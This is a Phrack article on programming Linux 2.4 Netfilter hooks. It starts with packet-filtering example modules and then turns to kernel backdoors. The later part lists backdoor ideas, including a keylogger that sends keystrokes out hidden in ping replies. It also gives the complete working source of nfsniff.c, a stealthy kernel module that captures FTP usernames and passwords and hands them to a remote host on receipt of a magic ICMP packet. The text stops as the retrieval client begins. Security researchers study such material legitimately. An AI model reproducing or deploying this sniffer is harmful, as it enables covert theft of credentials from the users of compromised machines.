Title : Hacking the Linux Kernel Network Stack
Author : bioforge
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f
|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <[email protected]> ]=--------------------=|
Table of Contents
1 - Introduction
1.1 - What this document is
1.2 - What this document is not
2 - The various Netfilter hooks and their uses
2.1 - The Linux kernel's handling of packets
2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
4.1 - A closer look at hook functions
4.2 - Filtering by interface
4.3 - Filtering by address
4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
5.1 - Hidden backdoor daemons
5.2 - Kernel based FTP password sniffer
5.2.1 - The code... nfsniff.c
5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
A.1 - Overview
A.2 - The source... lwfw.c
A.3 - lwfw.h
B - Code for section 6
--[ 1 - Introduction
This article describes how quirks (not necessarily weaknesses) in the
Linux network stack can be used for various purposes, nefarious or otherw-
ise. Presented here will be a discussion on using seemingly legitimate
Netfilter hooks for backdoor communications and also a technique to hide
such traffic from a Libpcap based sniffer running on the local machine.
Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes
such network tricks as packet filtering, network address translation
(NAT) and connection tracking possible through the use of various hooks in
the kernel's network code. These hooks are places that kernel code, either
statically built or in the form of a loadable module, can register
functions to be called for specific network events. An example of such an
event is the reception of a packet.
----[ 1.1 - What this document is
This document discusses how a module writer can make use of the Netfilter
hooks for whatever purposes and also how network traffic can be hidden
from a Libpcap application. Although Linux 2.4 supports hooks for IPv4,
IPv6 and DECnet, only IPv4 will be discussed in this document. However,
most of the IPv4 content can be applied to the other protocols. As an aide
to teaching, a working kernel module that provides basic packet filtering
is provided in Appendix A. Any development/experimentation done for this
document was done on an Intel machine running Linux 2.4.5. Testing the
behaviour of Netfilter hooks was done using the loopback device, an
Ethernet device and a modem Point-to-Point interface.
This document is also written for my benefit in an attempt to fully
understand Netfilter. I do not guarantee that any code accompanying this
document is 100% error free but I have tested all code provided here. I
have suffered the kernel faults so hopefully you won't have to. Also, I
do not accept any responsibility for damages that may occur through
following this document. It is expected that the reader be comfortable with
the C programming language and have some experience with Loadable Kernel
Modules.
If I have made a mistake in something presented here then please let me
know. I am also open to suggestions on either improving this document or
other nifty Netfilter tricks in general.
----[ 1.2 - What this document is not
This document is not a complete ins-and-outs reference for Netfilter. It
is also *not* a reference for the iptables command. If you want to learn
more about the iptables command, consult the man pages.
So let's get started with an introduction to using Netfilter...
--[ 2 - The various Netfilter hooks and their uses
----[ 2.1 - The Linux kernel's handling of packets
As much as I would love to go into the gory details of Linux's handling of
packets and the events preceeding and following each Netfilter hook, I
won't. The simple reason is that Harald Welte has already written a nice
document on the subject, his Journey of a Packet Through the Linux 2.4
Network Stack document. To learn more on Linux's handling of packets, I
strongly suggest that you read this document as well. For now, just
understand that as a packet moves through the Linux kernel's network stack
it crosses several hook locations where packets can be analysed and kept
or discarded. These are the Netfilter hooks.
------[ 2.2 The Netfilter hooks for IPv4
Netfilter defines five hooks for IPv4. The declaration of the symbols for
these can be found in linux/netfilter_ipv4.h. These hooks are displayed
in the table below:
Table 1: Available IPv4 hooks
Hook Called
NF_IP_PRE_ROUTING After sanity checks, before routing decisions.
NF_IP_LOCAL_IN After routing decisions if packet is for this host.
NF_IP_FORWARD If the packet is destined for another interface.
NF_IP_LOCAL_OUT For packets coming from local processes on
their way out.
NF_IP_POST_ROUTING Just before outbound packets "hit the wire".
The NF_IP_PRE_ROUTING hook is called as the first hook after a packet
has been received. This is the hook that the module presented later will
utilise. Yes the other hooks are very useful as well, but for now we
will focus only on NF_IP_PRE_ROUTING.
After hook functions have done whatever processing they need to do with
a packet they must return one of the predefined Netfilter return codes.
These codes are:
Table 2: Netfilter return codes
Return Code Meaning
NF_DROP Discard the packet.
NF_ACCEPT Keep the packet.
NF_STOLEN Forget about the packet.
NF_QUEUE Queue packet for userspace.
NF_REPEAT Call this hook function again.
The NF_DROP return code means that this packet should be dropped
completely and any resources allocated for it should be released.
NF_ACCEPT tells Netfilter that so far the packet is still acceptable and
that it should move to the next stage of the network stack. NF_STOLEN is
an interesting one because it tells Netfilter to "forget" about the packet.
What this tells Netfilter is that the hook function will take processing
of this packet from here and that Netfilter should drop all processing of
it. This does not mean, however, that resources for the packet are
released. The packet and it's respective sk_buff structure are still valid,
it's just that the hook function has taken ownership of the packet away
from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE
really does so for now I won't discuss it. The last return value,
NF_REPEAT requests that Netfilter calls the hook function again. Obviously
one must be careful using NF_REPEAT so as to avoid an endless loop.
--[ 3 - Registering and unregistering Netfilter hooks
Registration of a hook function is a very simple process that revolves
around the nf_hook_ops structure, defined in linux/netfilter.h. The
definition of this structure is as follows:
struct nf_hook_ops {
struct list_head list;
/* User fills in from here down. */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hooks are ordered in ascending priority. */
int priority;
};
The list member of this structure is used to maintain the lists of
Netfilter hooks and has no importance for hook registration as far as users
are concerned. hook is a pointer to a nf_hookfn function. This is the
function that will be called for the hook. nf_hookfn is defined in
linux/netfilter.h as well. The pf field specifies a protocol family. Valid
protocol families are available from linux/socket.h but for IPv4 we want to
use PF_INET. The hooknum field specifies the particular hook to install
this function for and is one of the values listed in table 1. Finally, the
priority field specifies where in the order of execution this hook function
should be placed. For IPv4, acceptable values are defined in
linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.
Registration of a Netfilter hook requires using a nf_hook_ops structure
with the nf_register_hook() function. nf_register_hook() takes the address
of an nf_hook_ops structure and returns an integer value. However, if you
actually look at the code for the nf_register_hook() function in
net/core/netfilter.c, you will notice that it only ever returns a value of
zero. Provided below is example code that simply registers a function that
will drop all packets that come in. This code will also show how the
Netfilter return values are interpreted.
Listing 1. Registration of a Netfilter hook
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets. */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* Drop ALL packets */
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func; /* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */
nf_register_hook(&nfho);
return 0;
}
/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
That's all there is to it. From the code given in listing 1 you can see
that unregistering a Netfilter hook is a simple matter of calling
nf_unregister_hook() with the address of the same structure you used to
register the hook.
--[ 4 - Basic packet filtering techniques with Netfilter
----[ 4.1 - A closer look at hook functions
Now its time to start looking at what data gets passed into hook
functions and how that data an be used to make filtering decisions. So
let's look more closely at the prototype for nf_hookfn functions. The
prototype is given in linux/netfilter.h as follows:
typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));
The first argument to nf_hookfn functions is a value specifying one of
the hook types given in table 1. The second argument is more interesting.
It is a pointer to a pointer to a sk_buff structure, the structure used
by the network stack to describe packets. This structure is defined in
linux/skbuff.h and due to its size, I shall only highlight some of it's
more interesting fields here.
Possibly the most useful fields out of sk_buff structures are the three
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
or RAW). The names of these unions are h, nh and mac respectively. These
unions contain several structures, depending on what protocols are in use
in a particular packet. One should note that the transport header and
network header may very well point to the same location in memory. This
is the case for TCP packets where h and nh are both considered as
pointers to IP header structures. This means that attempting to get a
value from h->th thinking it's pointing to the TCP header will result in
false results because h->th will actually be pointing to the IP header,
just like nh->iph.
Other fields of immediate interest are the len and data fields. len
specifies the total length of the packet data beginning at data. So now
we know how to access individual protocol headers and the packet data
itself from a sk_buff structure. What other interesting bits of
information are available to Netfilter hook functions?
The two arguments that come after skb are pointers to net_device
structures. net_device structures are what the Linux kernel uses to
describe network interfaces of all sorts. The first of these structures,
in, is used to describe the interface the packet arrived on. Not
surprisingly, the out structure describes the interface the packet is
leaving on. It is important to realise that usually only one of these
structures will be provided. For instance, in will only be provided for
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I
haven't tested which of these structures are available for the
NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before
attempting to dereference them you should be fine.
Finally, the last item passed into a hook function is a function pointer
called okfn that takes a sk_buff structure as its only argument and
returns an integer. I'm not too sure on what this function does. Looking
in net/core/netfilter.c there are two places where this okfn is called.
These two places are in the functions nf_hook_slow() and nf_reinject()
where at a certain place this function is called on a return value of
NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn
please let me know.
Now that we've looked at the most interesting and useful bits of informa-
tion that our hook functions receive, it's time to look at how we can use
that information to filter packets in a variety of ways.
----[ 4.2 - Filtering by interface
This would have to be the simplest filtering technique we can do.
Remember those net_device structures our hook function received? Using
the name field from the relevant net_device structure allows us to drop
packets depending on their source interface or destination interface. To
drop all packets that arrive on interface eth0 all one has to do is
compare the value of in->name with "eth0". If the names match then the
hook function simply returns NF_DROP and the packet is destroyed. It's as
easy as that. Sample code to do this is provided in listing 2 below. Note
that the Light-Weight FireWall module will provide simple examples of
all the filtering methods presented here. It also includes an IOCTL
interface and application to change its behaviour dynamically.
Listing 2. Filtering packets based on their source interface
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets on an interface we specify */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* Name of the interface we want to drop packets from */
static char *drop_if = "lo";
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
if (strcmp(in->name, drop_if) == 0) {
printk("Dropped packet on %s...\n", drop_if);
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func; /* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */
nf_register_hook(&nfho);
return 0;
}
/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
Now isn't that simple? Next, let's have a look at filtering based on IP
addresses.
----[ 4.3 - Filtering by address
As with filtering packets by their interface, filtering packets by their
source or destination IP address is very simple. This time we are
interested in the sk_buff structure. Now remember that the skb argument
is a pointer to a pointer to a sk_buff structure. To avoid running into
problems it is good practice to declare a seperate pointer to a sk_buff
structure and assign the value pointed to by skb to this newly declared
pointer. Like so:
struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /
Now you only have to dereference once to access items in the structure.
Obtaining the IP header for a packet is done using the network layer header
from the the sk_buff structure. This header is contained in a union and can
be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how
to check the source IP address of a received packet against an address to
deny when given a sk_buff for the packet. This code has been pulled
directly from LWFW. The only difference is that the update of LWFW
statistics has been removed.
Listing 3. Checking source IP of a received packet
unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */
...
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to
* the IP header. */
if (!skb )return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
return NF_DROP;
}
return NF_ACCEPT;
}
Now if the source address matches the address we want to drop packets from
then the packet is dropped. For this function to work as presented the
value of deny_ip should be stored in Network Byte Order (Big-endian,
opposite of Intel). Although it's unlikely that this function will be
called with a NULL pointer for it's argument, it never hurts to be a
little paranoid. Of course if an error does occur then the function will
return NF_ACCEPT so that Netfilter can continue processing the packet.
Listing 4 presents the simple module used to demonstrate interface based
filtering changed so that it drops packets that match a particular IP
address.
Listing 4. Filtering packets based on their source address
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets from an IP address we specify */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h> /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;
/* IP address we want to drop packets from, in NB order */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
if (sb->nh.iph->saddr == drop_ip) {
printk("Dropped packet from... %d.%d.%d.%d\n",
*drop_ip, *(drop_ip + 1),
*(drop_ip + 2), *(drop_ip + 3));
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* Initialisation routine */
int init_module()
{
/* Fill in our hook structure */
nfho.hook = hook_func;
/* Handler function */
nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */
nf_register_hook(&nfho);
return 0;
}
/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
----[ 4.4 - Filtering by TCP port
Another simple rule to implement is the filtering of packets based on
their TCP destination port. This is only a bit more fiddly than checking
IP addresses because we need to create a pointer to the TCP header
ourselves. Remember what was discussed earlier about transport headers
and network headers? Getting a pointer to the TCP header is a simple
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
and pointing after the IP header in our packet data. Perhaps an example
would help. Listing 5 presents code to check if the destination TCP port
of a packet matches some port we want to drop all packets for. As with
listing 3, this was taken from LWFW.
Listing 5. Checking the TCP destination port of a received packet
unsigned char *deny_port = "\x00\x19"; /* port 25 */
...
static int check_tcp_packet(struct sk_buff *skb)
{
struct tcphdr *thead;
/* We don't want any NULL pointers in the chain
* to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}
thead = (struct tcphdr *)(skb->data +
(skb->nh.iph->ihl * 4));
/* Now check the destination port */
if ((thead->dest) == *(unsigned short *)deny_port) {
return NF_DROP;
}
return NF_ACCEPT;
}
Very simple indeed. Don't forget that for this function to work deny_port
should be in network byte order. That's it for packet filtering basics,
you should have a fair understanding of how to get to the information you
want for a specific packet. Now it's time to move onto more interesting
stuff.
--[ 5 - Other possibilities for Netfilter hooks
Here I'll make some proposals for other cool stuff to do with Netfilter
hooks. Section 5.1 will simply provide food for thought, while section 5.2
shall discuss and provide working code for a kernel based FTP password
sniffer with remote password retrieval that really does work. It fact it
works so well it scares me, and I wrote it.
----[ 5.1 - Hidden backdoor daemons
Kernel module programming would have to be one of the most interesting
areas of development for Linux. Writing code in the kernel means you are
writing code in a place where you are limited only by your imagination.
From a malicous point of view you can hide files, processes, and do all
sorts of cool things that any rootkit worth its salt is capable of. Then
from a not-so-malicious point of view (yes people with this point of view
do exist) you can hide files, processes and do all sorts of cool things.
The kernel really is a fascinating place.
Now with all the power made available to a kernel level programmer, there
are a lot of possibilities. Possibly one of the most interesting (and
scary for system administrators) is the possibility of backdoors built
right into the kernel. Afterall, if a backdoor doesn't run as a process
then how do you know it's running? Of course there are ways of making your
kernel cough-up such backdoors, but they are by no means as easy and
simple as running ps. Now the idea of putting backdoor code into a kernel
is not new. What I'm proposing here, however, is placing simple network
services as kernel backdoors using, you guessed it, Netfilter hooks.
If you have the necessary skills and willingness to crash your kernel in
the name of experimentation, then you can construct simple but useful
network services located entirely in the kernel and accessible remotely.
Basically a Netfilter hook could watch incoming packets for a "magic"
packet and when that magic packet is received, do something special.
Results can then be sent from the Netfilter hook and the hook function can
return NF_STOLEN so that the received "magic" packet goes no further. Note
however, that when sending in such a fassion, outgoing packets will still
be visible on the outbound Netfilter hooks. Therefore userspace is totally
unaware that the magic packet ever arrived, but they can still see
whatever you send out. Beware! Just because a sniffer on a compromised host
can't see the packet, doesn't mean that a sniffer on an intermediate host
can't see the packet.
kossak and lifeline wrote an excellent article for Phrack describing how
such things could be done by registering packet type handlers. Although
this document deals with Netfilter hooks I still suggest reading their
article (Issue 55, file 12) as it is a very interesting read with some
very interesting ideas being presented.
So what kind of work could a backdoor Netfilter hook do? Well, here are
some suggestions:
-- Remote access key-logger. Module logs keystrokes and results are
sent to a remote host when that host sends a PING request. So a
stream of keystroke information could be made to look like a steady
(don't flood) stream of PING replies. Of course one would want to
implement a simple encryption so that ASCII keys don't show
themselves immediately and some alert system administrator goes
"Hang on. I typed that over my SSH session before! Oh $%@T%&!".
-- Various simple administration tasks such as getting lists of who is
currently logged onto the machine or obtaining information about
open network connections.
-- Not really a backdoor as such, but a module that sits on a network
perimeter and blocks any traffic suspected to come from trojans,
ICMP covert channels or file sharing tools like KaZaa.
-- File transfer "server". I have implemented this idea recently. The
resulting LKM is hours of fun :).
-- Packet bouncer. Redirects packets aimed at a special port on the
backdoored host to another IP host and port and sends packets from
that host back to the initiator. No process being spawned and best of
all, no network socket being opened.
-- Packet bouncer as described above used to communicate with critical
systems on a network in a semi-covert manner. Eg. configuring routers
and such.
-- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
the information until a magic packet comes in asking for it.
Well that's a short list of ideas. The last one will actually be discussed
in more detail in the next section as it provides a nice oppurtunity to look
at some more functions internal to the kernel's network code.
----[ 5.2 - Kernel based FTP password sniffer
Presented here is a simple proof-of-concept module that acts as a Netfilter
backdoor. This module will sniff outgoing FTP packets looking for a USER
and PASS command pair for an FTP server. When a pair is found the module
will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return
the server's IP address and the username and password. Also provided is a
quick hack that sends a magic packet, gets a reply then prints the returned
information. Once a username/password pair has been read from the module it
will then look for the next pair. Note that only one pair will be stored by
the module at one time. Now that a brief overview has been provided, it's
time to present a more detailed look at how the module does its thing.
When loaded, the module's init_module() function simply registers two
Netfilter hooks. The first one is used to watch incoming traffic (on
NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next
one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING)
the module is installed on. This is where the search and capture of FTP
USER and PASS packets happens. The cleanup_module() procedure simply
unregisters these two hooks.
watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at
this function you can see that it is very simple in operation. When a
packet enters the function it is run through various checks to be sure it's
an FTP packet. If it's not then a value of NF_ACCEPT is returned
immediately. If it is an FTP packet then the module checks to be sure that
it doesn't already have a username and password pair already queued. If it
does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned
and the packet can finally leave the system. Otherwise, the check_ftp()
procedure is called. This is where extraction of passwords actually takes
place. If no previous packets have been received then the target_ip and
target_port variables should be cleared.
check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the
beginning of the packet. Note that PASS commands will not be processed
until a USER command has been processed. This prevents deadlock that occurs
if for some reason a PASS command is received first and the connection
breaks before USER arrives. Also, if a QUIT command arrives and only a
username has been captured then things are reset so sniffing can start over
on a new connection. When a USER or PASS command arrives, if the necessary
sanity checks are passed then the argument to the command is copied. Just
before check_ftp() finishes under normal operations, it checks to see if it
now has a valid username and password string. If it does then have_pair is
set and no more usernames or passwords will be grabbed until the current
pair is retrieved.
So far you have seen how this module installs itself and begins looking for
usernames and passwords to log. Now you shall see what happens when the
specially formatted "magic" packet arrives. Pay particular attention here
because this is where the most problems arose during development. 16 kernel
faults if I remember correctly :). When packets come into the machine with
this module installed, watch_in() checks each one to see if it is a magic
packet. If it does not pass the necessary requirements to be considered
magic, then the packet is ignored by watch_in() who simply returns
NF_ACCEPT. Notice how one of the criteria for magic packets is that they
have enough room to hold the IP address and username and password strings.
This is done to make sending the reply easier. A fresh sk_buff could have
been allocated, but getting all of the necessary fields right can be
difficult and you have to get them right! So instead of creating a new
structure for our reply packet, we simply tweak the request packet's
structure. To return the packet successfully, several changes need to be
made. Firstly, the IP addresses are swapped around and the packet type
field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING
which is defined in linux/if_packet.h. The next thing to take care of is
making sure any link layer headers are included. The data field of our
received packet's sk_buff points after the link layer header and it is the
data field that points to the beginning of packet data to be transmitted.
So for interfaces that require the link layer header (Ethernet and Loopback
Point-to-Point is raw) we point the data field to the mac.ethernet or
mac.raw structures. To determine what type of interface this packet came in
on, you can check the value of sb->dev->type where sb is a pointer to a
sk_buff structure. Valid values for this field can be found in
linux/if_arp.h but the most useful are given below in table 3.
Table 3: Common values for interface types
Type Code Interface Type
ARPHRD_ETHER Ethernet
ARPHRD_LOOPBACK Loopback device
ARPHRD_PPP Point-to-point (eg. dialup)
The last thing to be done is actually copy the data we want to send in our
reply. It's now time to send the packet. The dev_queue_xmit() function
takes a pointer to a sk_buff structure as it's only argument and returns a
negative errno code on a nice failure. What do I mean by nice failure?
Well, if you give dev_queue_xmit() a badly constructed socket buffer then
you will get a not-so-nice failure. One that comes complete with kernel
fault and kernel stack dump information. See how failures can be splt into
two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
NF_DROP if you have called dev_queue_xmit()! If you do then you will
quickly get a nasty kernel fault. This is because dev_queue_xmit() will
free the passed in socket buffer and Netfilter will attempt to do the same
with an NF_DROPped packet. Well that's enough discussion on the code, it's
now time to actually see the code.
------[ 5.2.1 - The code... nfsniff.c
<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* Written by bioforge, March 2003 */
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));
/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;
/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
data += 5;
if (username) return;
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = '\0'; /* NULL terminate */
} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
data += 5;
/* If a username hasn't been logged yet then don't try logging
* a password */
if (username == NULL) return;
if (password) return;
while (*(data + i) != '\r' && *(data + i) != '\n'
&& *(data + i) != '\0' && i < 15) {
len++;
i++;
}
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = '\0'; /* NULL terminate */
} else if (strncmp(data, "QUIT", 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;
return;
}
} else {
return;
}
if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %s\n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;
/* Make sure this is a TCP packet first */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_ftp(sb);
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved\n");
return NF_STOLEN;
}
int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_IP_PRE_ROUTING;
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING;
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
return 0;
}
void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
}
<-->
------[ 5.2.2 - getpass.c
<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
